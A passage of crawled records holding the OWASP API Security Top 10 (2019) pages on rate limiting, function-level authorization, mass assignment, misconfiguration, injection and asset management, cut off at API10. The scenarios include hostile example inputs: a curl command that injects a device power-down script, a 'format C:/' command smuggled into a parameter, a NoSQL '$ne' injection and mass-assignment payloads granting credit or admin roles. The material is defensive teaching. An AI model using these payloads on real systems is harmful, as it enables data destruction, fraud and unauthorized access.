"popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Lack of Resources & Rate Limiting"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API4:2019 Lack of Resources & Rate Limiting\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **2** | Prevalence **3** : Detectability **3** | Technical **2** : Business Specific |\n| Exploitation requires simple API requests. No authentication is required. Multiple concurrent requests can be performed from a single local computer or by using cloud computing resources. | It’s common to find APIs that do not implement rate limiting or APIs where limits are not properly set. | Exploitation may lead to DoS, making the API unresponsive or even unavailable. |\n\n## Is the API Vulnerable?\n\nAPI requests consume resources such as network, CPU, memory, and storage. The\namount of resources required to satisfy a request greatly depends on the user\ninput and endpoint business logic. Also, consider the fact that requests from\nmultiple API clients compete for resources. An API is vulnerable if at least one\nof the following limits is missing or set inappropriately (e.g., too low/high):\n\n- Execution timeouts\n- Max allocable memory\n- Number of file descriptors\n- Number of processes\n- Request payload size (e.g., uploads)\n- Number of requests per client/resource\n- Number of records per page to return in a single request response\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAn attacker uploads a large image by issuing a POST request to `/api/v1/images`.\nWhen the upload is complete, the API creates multiple thumbnails with different\nsizes. Due to the size of the uploaded image, available memory is exhausted\nduring the creation of thumbnails and the API becomes unresponsive.\n\n### Scenario #2\n\nWe have an application that contains the users' list on a UI with a limit of\n`200` users per page. The users' list is retrieved from the server using the\nfollowing query: `/api/users?page=1&size=200`. An attacker changes the `size`\nparameter to `200 000`, causing performance issues on the database. Meanwhile,\nthe API becomes unresponsive and is unable to handle further requests from this\nor any other clients (aka DoS).\n\nThe same scenario might be used to provoke Integer Overflow or Buffer Overflow\nerrors.\n\n## How To Prevent\n\n- Docker makes it easy to limit [memory](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [number of restarts](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [file descriptors, and processes](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Implement a limit on how often a client can call the API within a defined\n timeframe.\n- Notify the client when the limit is exceeded by providing the limit number and\n the time at which the limit will be reset.\n- Add proper server-side validation for query string and request body\n parameters, specifically the one that controls the number of records to be\n returned in the response.\n- Define and enforce maximum size of data on all incoming parameters and\n payloads such as maximum length for strings and maximum number of elements in\n arrays.\n\n## References\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### External\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 4071, "slov": 515, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:09", "sha256": "6b94c916f93df3b427b39c5ea33af68cf1d17ee863c85df04a536d3966a7b30c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2019 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa5-broken-function-level-authorization/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Broken Function Level Authorization"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API5:2019 Broken Function Level Authorization\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **2** : Detectability **1** | Technical **2** : Business Specific |\n| Exploitation requires the attacker to send legitimate API calls to the API endpoint that they should not have access to. These endpoints might be exposed to anonymous users or regular, non-privileged users. It’s easier to discover these flaws in APIs since APIs are more structured, and the way to access certain functions is more predictable (e.g., replacing the HTTP method from GET to PUT, or changing the “users” string in the URL to \"admins\"). | Authorization checks for a function or resource are usually managed via configuration, and sometimes at the code level. Implementing proper checks can be a confusing task, since modern applications can contain many types of roles or groups and complex user hierarchy (e.g., sub-users, users with more than one role). | Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack. |\n\n## Is the API Vulnerable?\n\nThe best way to find broken function level authorization issues is to perform\ndeep analysis of the authorization mechanism, while keeping in mind the user\nhierarchy, different roles or groups in the application, and asking the\nfollowing questions:\n\n- Can a regular user access administrative endpoints?\n- Can a user perform sensitive actions (e.g., creation, modification, or\n erasure) that they should not have access to by simply changing the HTTP\n method (e.g., from `GET` to `DELETE` )?\n- Can a user from group X access a function that should be exposed only to users\n from group Y, by simply guessing the endpoint URL and parameters (e.g., `/api/v1/users/export_all` )?\n\nDon’t assume that an API endpoint is regular or administrative only based on the\nURL path.\n\nWhile developers might choose to expose most of the administrative endpoints\nunder a specific relative path, like `api/admins`, it’s very common to find\nthese administrative endpoints under other relative paths together with regular\nendpoints, like `api/users`.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nDuring the registration process to an application that allows only invited users\nto join, the mobile application triggers an API call to\n`GET /api/invites/{invite_guid}`. The response contains a JSON with details\nabout the invite, including the user’s role and the user’s email.\n\nAn attacker duplicated the request and manipulated the HTTP method and endpoint\nto `POST /api/invites/new`. This endpoint should only be accessed by\nadministrators using the admin console, which does not implement function level\nauthorization checks.\n\nThe attacker exploits the issue and sends himself an invite to create an\nadmin account:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### Scenario #2\n\nAn API contains an endpoint that should be exposed only to administrators -\n`GET /api/admin/v1/users/all`. This endpoint returns the details of all the\nusers of the application and does not implement function-level authorization\nchecks. An attacker who learned the API structure takes an educated guess and\nmanages to access this endpoint, which exposes sensitive details of the users of\nthe application.\n\n## How To Prevent\n\nYour application should have a consistent and easy to analyze authorization\nmodule that is invoked from all your business functions. Frequently, such\nprotection is provided by one or more components external to the application\ncode.\n\n- The enforcement mechanism(s) should deny all access by default, requiring\n explicit grants to specific roles for access to every function.\n- Review your API endpoints against function level authorization flaws, while\n keeping in mind the business logic of the application and groups hierarchy.\n- Make sure that all of your administrative controllers inherit from an\n administrative abstract controller that implements authorization checks based\n on the user’s group/role.\n- Make sure that administrative functions inside a regular controller implements\n authorization checks based on the user’s group and role.\n\n## References\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### External\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 4596, "slov": 651, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:10", "sha256": "d6659ace90c4f944f9fe76f409ec694d3c2ad90b8b6b13b36841125b4163c9ef", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/", "titulek": "API6:2019 - Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 - Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Mass Assignment"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "External"}], "markdown": "# API6:2019 - Mass Assignment\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **2** | Prevalence **2** : Detectability **2** | Technical **2** : Business Specific |\n| Exploitation usually requires an understanding of the business logic, objects' relations, and the API structure. Exploitation of mass assignment is easier in APIs, since by design they expose the underlying implementation of the application along with the properties’ names. | Modern frameworks encourage developers to use functions that automatically bind input from the client into code variables and internal objects. Attackers can use this methodology to update or overwrite sensitive object’s properties that the developers never intended to expose. | Exploitation may lead to privilege escalation, data tampering, bypass of security mechanisms, and more. |\n\n## Is the API Vulnerable?\n\nObjects in modern applications might contain many properties. Some of these\nproperties should be updated directly by the client (e.g., `user.first_name` or\n`user.address`) and some of them should not (e.g., `user.is_vip` flag).\n\nAn API endpoint is vulnerable if it automatically converts client parameters\ninto internal object properties, without considering the sensitivity and the\nexposure level of these properties. This could allow an attacker to update\nobject properties that they should not have access to.\n\nExamples for sensitive properties:\n\n- **Permission-related properties** : `user.is_admin` , `user.is_vip` should only\n be set by admins.\n- **Process-dependent properties** : `user.cash` should only be set internally\n after payment verification.\n- **Internal properties** : `article.created_time` should only be set internally\n by the application.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nA ride sharing application provides a user the option to edit basic information\nfor their profile. During this process, an API call is sent to\n`PUT /api/v1/users/me` with the following legitimate JSON object:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nThe request `GET /api/v1/users/me` includes an additional credit_balance\nproperty:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nThe attacker replays the first request with the following payload:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nSince the endpoint is vulnerable to mass assignment, the attacker receives\ncredits without paying.\n\n### Scenario #2\n\nA video sharing portal allows users to upload content and download content in\ndifferent formats. An attacker who explores the API found that the endpoint\n`GET /api/v1/videos/{video_id}/meta_data` returns a JSON object with the video’s\nproperties. One of the properties is `\"mp4_conversion_params\":\"-v codec h264\"`,\nwhich indicates that the application uses a shell command to convert the video.\n\nThe attacker also found the endpoint `POST /api/v1/videos/new` is vulnerable to\nmass assignment and allows the client to set any property of the video object.\nThe attacker sets a malicious value as follows:\n`\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. This value will cause a\nshell command injection once the attacker downloads the video as MP4.\n\n## How To Prevent\n\n- If possible, avoid using functions that automatically bind a client’s input\n into code variables or internal objects.\n- Whitelist only the properties that should be updated by the client.\n- Use built-in features to blacklist properties that should not be accessed by\n clients.\n- If applicable, explicitly define and enforce schemas for the input data\n payloads.\n\n## References\n\n### External\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 3638, "slov": 497, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:11", "sha256": "7046637aba608a373c7242720e16bc80cdd06378ab8db423db277b47bace0860", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa7-security-misconfiguration/", "titulek": "API7:2019 Security Misconfiguration - OWASP API Security Top 10", "h1": "API7:2019 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa7-security-misconfiguration/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Security Misconfiguration"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 3, "text": "Scenario #3"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API7:2019 Security Misconfiguration\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **3** : Detectability **3** | Technical **2** : Business Specific |\n| Attackers will often attempt to find unpatched flaws, common endpoints, or unprotected files and directories to gain unauthorized access or knowledge of the system. | Security misconfiguration can happen at any level of the API stack, from the network level to the application level. Automated tools are available to detect and exploit misconfigurations such as unnecessary services or legacy options. | Security misconfigurations can not only expose sensitive user data, but also system details that may lead to full server compromise. |\n\n## Is the API Vulnerable?\n\nThe API might be vulnerable if:\n\n- Appropriate security hardening is missing across any part of the application\n stack, or if it has improperly configured permissions on cloud services.\n- The latest security patches are missing, or the systems are out of date.\n- Unnecessary features are enabled (e.g., HTTP verbs).\n- Transport Layer Security (TLS) is missing.\n- Security directives are not sent to clients (e.g., [Security Headers](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ).\n- A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set.\n- Error messages include stack traces, or other sensitive information is\n exposed.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAn attacker finds the `.bash_history` file under the root directory of the\nserver, which contains commands used by the DevOps team to access the API:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nAn attacker could also find new endpoints on the API that are used only by the\nDevOps team and are not documented.\n\n### Scenario #2\n\nTo target a specific service, an attacker uses a popular search engine to search\nfor computers directly accessible from the Internet. The attacker found a host\nrunning a popular database management system, listening on the default port. The\nhost was using the default configuration, which has authentication disabled by\ndefault, and the attacker gained access to millions of records with PII,\npersonal preferences, and authentication data.\n\n### Scenario #3\n\nInspecting traffic of a mobile application an attacker finds out that not all\nHTTP traffic is performed on a secure protocol (e.g., TLS). The attacker finds\nthis to be true, specifically for the download of profile images. As user\ninteraction is binary, despite the fact that API traffic is performed on a\nsecure protocol, the attacker finds a pattern on API responses size, which he\nuses to track user preferences over the rendered content (e.g., profile images).\n\n## How To Prevent\n\nThe API life cycle should include:\n\n- A repeatable hardening process leading to fast and easy deployment of a\n properly locked down environment.\n- A task to review and update configurations across the entire API stack. The\n review should include: orchestration files, API components, and cloud services\n (e.g., S3 bucket permissions).\n- A secure communication channel for all API interactions access to static\n assets (e.g., images).\n- An automated process to continuously assess the effectiveness of the\n configuration and settings in all environments.\n\nFurthermore:\n\n- To prevent exception traces and other valuable information from being sent\n back to attackers, if applicable, define and enforce all API response payload\n schemas including error responses.\n- Ensure API can only be accessed by the specified HTTP verbs. All other HTTP\n verbs should be disabled (e.g. `HEAD` ).\n- APIs expecting to be accessed from browser-based clients (e.g., WebApp\n front-end) should implement a proper Cross-Origin Resource Sharing (CORS)\n policy.\n\n## References\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### External\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 4695, "slov": 617, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:12", "sha256": "b2e23e22b6ab52747c0eeef3d0aecdc64ae061a0ad606943b8491b5c56c646ca", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa8-injection/", "titulek": "API8:2019 Injection - OWASP API Security Top 10", "h1": "API8:2019 Injection", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa8-injection/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injection"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API8:2019 Injection\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **2** : Detectability **3** | Technical **3** : Business Specific |\n| Attackers will feed the API with malicious data through whatever injection vectors are available (e.g., direct input, parameters, integrated services, etc.), expecting it to be sent to an interpreter. | Injection flaws are very common and are often found in SQL, LDAP, or NoSQL queries, OS commands, XML parsers, and ORM. These flaws are easy to discover when reviewing the source code. Attackers can use scanners and fuzzers. | Injection can lead to information disclosure and data loss. It may also lead to DoS, or complete host takeover. |\n\n## Is the API Vulnerable?\n\nThe API is vulnerable to injection flaws if:\n\n- Client-supplied data is not validated, filtered, or sanitized by the API.\n- Client-supplied data is directly used or concatenated to SQL/NoSQL/LDAP\n queries, OS commands, XML parsers, and Object Relational Mapping (ORM)/Object\n Document Mapper (ODM).\n- Data coming from external systems (e.g., integrated systems) is not validated,\n filtered, or sanitized by the API.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nFirmware of a parental control device provides the endpoint\n`/api/CONFIG/restore` which expects an appId to be sent as a multipart\nparameter. Using a decompiler, an attacker finds out that the appId is passed\ndirectly into a system call without any sanitization:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nThe following command allows the attacker to shut down any device with the same\nvulnerable firmware:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### Scenario #2\n\nWe have an application with basic CRUD functionality for operations with\nbookings. An attacker managed to identify that NoSQL injection might be possible\nthrough `bookingId` query string parameter in the delete booking request. This\nis how the request looks like: `DELETE /api/bookings?bookingId=678`.\n\nThe API server uses the following function to handle delete requests:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nThe attacker intercepted the request and changed `bookingId` query string\nparameter as shown below. In this case, the attacker managed to delete another\nuser's booking:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## How To Prevent\n\nPreventing injection requires keeping data separate from commands and queries.\n\n- Perform data validation using a single, trustworthy, and actively maintained\n library.\n- Validate, filter, and sanitize all client-provided data, or other data coming\n from integrated systems.\n- Special characters should be escaped using the specific syntax for the target\n interpreter.\n- Prefer a safe API that provides a parameterized interface.\n- Always limit the number of returned records to prevent mass disclosure in case\n of injection.\n- Validate incoming data using sufficient filters to only allow valid values for\n each input parameter.\n- Define data types and strict patterns for all string parameters.\n\n## References\n\n### OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### External\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 3847, "slov": 492, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:13", "sha256": "f1a3993d0a18a2cf108ee0fe13713537f39ccc01b8e649ea308e71e744bebb88", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa9-improper-assets-management/", "titulek": "API9:2019 Improper Assets Management - OWASP API Security Top 10", "h1": "API9:2019 Improper Assets Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa9-improper-assets-management/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Improper Assets Management"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "External"}], "markdown": "# API9:2019 Improper Assets Management\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **3** : Detectability **2** | Technical **2** : Business Specific |\n| Old API versions are usually unpatched and are an easy way to compromise systems without having to fight state-of-the-art security mechanisms, which might be in place to protect the most recent API versions. | Outdated documentation makes it more difficult to find and/or fix vulnerabilities. Lack of assets inventory and retire strategies leads to running unpatched systems, resulting in leakage of sensitive data. It’s common to find unnecessarily exposed API hosts because of modern concepts like microservices, which make applications easy to deploy and independent (e.g., cloud computing, k8s). | Attackers may gain access to sensitive data, or even takeover the server through old, unpatched API versions connected to the same database. |\n\n## Is the API Vulnerable?\n\nThe API might be vulnerable if:\n\n- The purpose of an API host is unclear, and there are no explicit answers to\n the following questions:\n - Which environment is the API running in (e.g., production, staging, test,\n development)?\n - Who should have network access to the API (e.g., public, internal,\n partners)?\n - Which API version is running?\n - What data is gathered and processed by the API (e.g., PII)?\n - What's the data flow?\n- There is no documentation, or the existing documentation is not updated.\n- There is no retirement plan for each API version.\n- Hosts inventory is missing or outdated.\n- Integrated services inventory, either first- or third-party, is missing or\n outdated.\n- Old or previous API versions are running unpatched.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAfter redesigning their applications, a local search service left an old API\nversion (`api.someservice.com/v1`) running, unprotected, and with access to the\nuser database. While targeting one of the latest released applications, an\nattacker found the API address (`api.someservice.com/v2`). Replacing `v2` with\n`v1` in the URL gave the attacker access to the old, unprotected API,\nexposing the personal identifiable information (PII) of over 100 Million users.\n\n### Scenario #2\n\nA social network implemented a rate-limiting mechanism that blocks attackers\nfrom using brute-force to guess reset password tokens. This mechanism wasn’t\nimplemented as part of the API code itself, but in a separate component between\nthe client and the official API (`www.socialnetwork.com`).\nA researcher found a beta API host (`www.mbasic.beta.socialnetwork.com`) that\nruns the same API, including the reset password mechanism, but the rate limiting\nmechanism was not in place. The researcher was able to reset the password of any\nuser by using a simple brute-force to guess the 6 digits token.\n\n## How To Prevent\n\n- Inventory all API hosts and document important aspects of each one of them,\n focusing on the API environment (e.g., production, staging, test,\n development), who should have network access to the host (e.g., public,\n internal, partners) and the API version.\n- Inventory integrated services and document important aspects such as their\n role in the system, what data is exchanged (data flow), and its sensitivity.\n- Document all aspects of your API such as authentication, errors, redirects,\n rate limiting, cross-origin resource sharing (CORS) policy and endpoints,\n including their parameters, requests, and responses.\n- Generate documentation automatically by adopting open standards. Include the\n documentation build in your CI/CD pipeline.\n- Make API documentation available to those authorized to use the API.\n- Use external protection measures such as API security firewalls for all exposed versions of your APIs, not just for the current production version.\n- Avoid using production data with non-production API deployments. If this is unavoidable, these endpoints should get the same security treatment as the production ones.\n- When newer versions of APIs include security improvements, perform risk analysis to make the decision of the mitigation actions required for the older version: for example, whether it is possible to backport the improvements without breaking API compatibility or you need to take the older version out quickly and force all clients to move to the latest version.\n\n## References\n\n### External\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 4456, "slov": 662, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:13", "sha256": "4e97b10114ec3ad1d0783752bb1a19d8b5917cbd34b14bab75dc5880cd878cb8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Insufficient Logging & Monitoring - OWASP API Security Top 10", "h1": "API10:2019 Insufficient Logging & Monitoring", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Insufficient Logging & Monitoring"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example 